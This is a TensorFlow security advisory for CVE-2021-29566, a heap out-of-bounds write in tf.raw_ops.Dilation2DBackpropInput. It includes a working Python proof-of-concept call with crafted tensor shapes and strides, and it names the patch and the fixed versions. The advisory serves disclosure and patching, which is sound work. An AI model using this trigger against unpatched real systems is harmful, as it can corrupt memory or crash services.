Heap OOB access in `Dilation2DBackpropInput`

Low mihaimaruseac published GHSA-pvrc-hg3f-58r6 on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can write outside the bounds of heap allocated arrays by passing invalid arguments to `tf.raw_ops.Dilation2DBackpropInput`:

```
import tensorflow as tf

input_tensor = tf.constant([1.1] * 81, shape=[3, 3, 3, 3], dtype=tf.float32)
filter = tf.constant([], shape=[0, 0, 3], dtype=tf.float32)
out_backprop = tf.constant([1.1] * 1062, shape=[3, 2, 59, 3], dtype=tf.float32)

tf.raw_ops.Dilation2DBackpropInput(
  input=input_tensor, filter=filter, out_backprop=out_backprop,
  strides=[1, 40, 1, 1], rates=[1, 56, 56, 1], padding='VALID')
```

This is because the implementation does not validate before writing to the output array.

```
in_backprop(b, h_in_max, w_in_max, d) += out_backprop(b, h_out, w_out, d);
```

The values for `h_out` and `w_out` are guaranteed to be in range for `out_backprop` (as they are loop indices bounded by the size of the array). However, there are no similar guarantees relating `h_in_max` / `w_in_max` and `in_backprop`.

Patches

We have patched the issue in GitHub commit 3f6fe4dfef6f57e768260b48166c27d148f3015f.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29566

Weaknesses

No CWEs